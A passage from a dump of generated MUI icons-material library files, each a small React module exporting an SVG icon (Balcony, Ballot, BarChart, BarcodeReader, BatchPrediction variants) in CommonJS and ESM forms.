    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}), 'BalconyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}), 'BalconyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 14.27V10c0-4.42-3.58-8-8-8s-8 3.58-8 8v4.27c-.6.34-1 .99-1 1.73v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-.74-.4-1.39-1-1.73M7 20H5v-4h2zm4 0H9v-4h2zm0-6H6v-4c0-2.97 2.16-5.44 5-5.92zm2-9.92c2.84.48 5 2.94 5 5.92v4h-5zM15 20h-2v-4h2zm4 0h-2v-4h2zM8 11c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m8 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'BalconyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 14.27V10c0-4.42-3.58-8-8-8s-8 3.58-8 8v4.27c-.6.34-1 .99-1 1.73v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-.74-.4-1.39-1-1.73M7 20H5v-4h2zm4 0H9v-4h2zm0-6H6v-4c0-2.97 2.16-5.44 5-5.92zm2-9.92c2.84.48 5 2.94 5 5.92v4h-5zM15 20h-2v-4h2zm4 0h-2v-4h2zM8 11c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1m8 0c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1\"\n}), 'BalconyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}), 'BalconySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}), 'BalconySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 16H5v4h2zm4 0H9v4h2zm-5-6v4h5V4.08C8.16 4.56 6 7.03 6 10m4 2H8v-2h2zm3-7.92V14h5v-4c0-2.97-2.16-5.44-5-5.92M16 12h-2v-2h2zm-1 4h-2v4h2zm4 0h-2v4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}, \"1\")], 'BalconyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BalconyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 16H5v4h2zm4 0H9v4h2zm-5-6v4h5V4.08C8.16 4.56 6 7.03 6 10m4 2H8v-2h2zm3-7.92V14h5v-4c0-2.97-2.16-5.44-5-5.92M16 12h-2v-2h2zm-1 4h-2v4h2zm4 0h-2v4h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10v2H8v-2zm6 2v-2h-2v2zm5 2v8H3v-8h1v-4c0-4.42 3.58-8 8-8s8 3.58 8 8v4zM7 16H5v4h2zm4 0H9v4h2zm0-11.92C8.16 4.56 6 7.03 6 10v4h5zM13 14h5v-4c0-2.97-2.16-5.44-5-5.92zm2 2h-2v4h2zm4 0h-2v4h2z\"\n}, \"1\")], 'BalconyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Ballot.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 9.5h5v-2h-5zm0 7h5v-2h-5zm6 4.5H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2M6 11h5V6H6zm1-4h3v3H7zM6 18h5v-5H6zm1-4h3v3H7z\"\n}), 'Ballot');"
  },
  {
    "path": "packages/mui-icons-material/lib/Ballot.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M13 9.5h5v-2h-5zm0 7h5v-2h-5zm6 4.5H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2M6 11h5V6H6zm1-4h3v3H7zM6 18h5v-5H6zm1-4h3v3H7z\"\n}), 'Ballot');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.5h5v2h-5zm0 7h5v2h-5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM11 6H6v5h5zm-1 4H7V7h3zm1 3H6v5h5zm-1 4H7v-3h3z\"\n}), 'BallotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.5h5v2h-5zm0 7h5v2h-5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM11 6H6v5h5zm-1 4H7V7h3zm1 3H6v5h5zm-1 4H7v-3h3z\"\n}), 'BallotOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9.5h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m0 7h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m5 4.5H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2M7 11h3c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m0-4h3v3H7zm0 11h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m0-4h3v3H7z\"\n}), 'BallotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9.5h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m0 7h3c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1s.45 1 1 1m5 4.5H5c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h14c1.1 0 2 .9 2 2v14c0 1.1-.9 2-2 2M7 11h3c.55 0 1-.45 1-1V7c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m0-4h3v3H7zm0 11h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m0-4h3v3H7z\"\n}), 'BallotRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9.5h5v-2h-5zm0 7h5v-2h-5zm8 4.5H3V3h18zM6 11h5V6H6zm1-4h3v3H7zM6 18h5v-5H6zm1-4h3v3H7z\"\n}), 'BallotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9.5h5v-2h-5zm0 7h5v-2h-5zm8 4.5H3V3h18zM6 11h5V6H6zm1-4h3v3H7zM6 18h5v-5H6zm1-4h3v3H7z\"\n}), 'BallotSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14h3v3H7zm0-7h3v3H7zM5 19h14V5H5zm8-11.5h5v2h-5zm0 7h5v2h-5zM6 6h5v5H6zm0 7h5v5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7.5h5v2h-5zm0 7h5v2h-5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM11 6H6v5h5zm-1 4H7V7h3zm1 3H6v5h5zm-1 4H7v-3h3z\"\n}, \"1\")], 'BallotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BallotTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14h3v3H7zm0-7h3v3H7zM5 19h14V5H5zm8-11.5h5v2h-5zm0 7h5v2h-5zM6 6h5v5H6zm0 7h5v5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7.5h5v2h-5zm0 7h5v2h-5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM11 6H6v5h5zm-1 4H7V7h3zm1 3H6v5h5zm-1 4H7v-3h3z\"\n}, \"1\")], 'BallotTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChart');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2s-2 .9-2 2v7c0 1.1.9 2 2 2m10-5v3c0 1.1.9 2 2 2s2-.9 2-2v-3c0-1.1-.9-2-2-2s-2 .9-2 2m-4 5c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2s-2 .9-2 2v12c0 1.1.9 2 2 2\"\n}), 'BarChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20c1.1 0 2-.9 2-2v-7c0-1.1-.9-2-2-2s-2 .9-2 2v7c0 1.1.9 2 2 2m10-5v3c0 1.1.9 2 2 2s2-.9 2-2v-3c0-1.1-.9-2-2-2s-2 .9-2 2m-4 5c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2s-2 .9-2 2v12c0 1.1.9 2 2 2\"\n}), 'BarChartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarChartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 9h4v11H4zm12 4h4v7h-4zm-6-9h4v16h-4z\"\n}), 'BarChartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarcodeReader.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 8.75h-4v-1.5h4zm-.38-4.38L22 3l-3.62 1.63L19 6zM19 10l-.62 1.37L22 13l.62-1.37zm-8 3c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1H9.64l-.74 2.78A2.999 2.999 0 0 1 6 22a2.995 2.995 0 0 1-2.9-3.77l1.82-6.8A4.028 4.028 0 0 1 3 8c0-2.21 1.79-4 4-4h8c1.49 0 2.45 1.56 1.79 2.89l-2 4C14.45 11.57 13.75 12 13 12h-2.02l-.27 1z\"\n}), 'BarcodeReader');"
  },
  {
    "path": "packages/mui-icons-material/lib/BarcodeReader.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 8.75h-4v-1.5h4zm-.38-4.38L22 3l-3.62 1.63L19 6zM19 10l-.62 1.37L22 13l.62-1.37zm-8 3c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1H9.64l-.74 2.78A2.999 2.999 0 0 1 6 22a2.995 2.995 0 0 1-2.9-3.77l1.82-6.8A4.028 4.028 0 0 1 3 8c0-2.21 1.79-4 4-4h8c1.49 0 2.45 1.56 1.79 2.89l-2 4C14.45 11.57 13.75 12 13 12h-2.02l-.27 1z\"\n}), 'BarcodeReader');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPrediction.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-4 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}), 'BatchPrediction');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPrediction.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-4 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}), 'BatchPrediction');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-4 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}), 'BatchPredictionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-4 12.5h-2V19h2zm0-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}), 'BatchPredictionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 8H7c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-5 12.5c-.55 0-1-.45-1-1V19h2v.5c0 .55-.45 1-1 1m1-2.5h-2c0-1.5-2.5-3-2.5-5 0-1.93 1.57-3.5 3.5-3.5s3.5 1.57 3.5 3.5c0 2-2.5 3.5-2.5 5m5-11.5H6C6 5.67 6.67 5 7.5 5h9c.83 0 1.5.67 1.5 1.5m-1-3H7C7 2.67 7.67 2 8.5 2h7c.83 0 1.5.67 1.5 1.5\"\n}), 'BatchPredictionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BatchPredictionRounded.mjs",
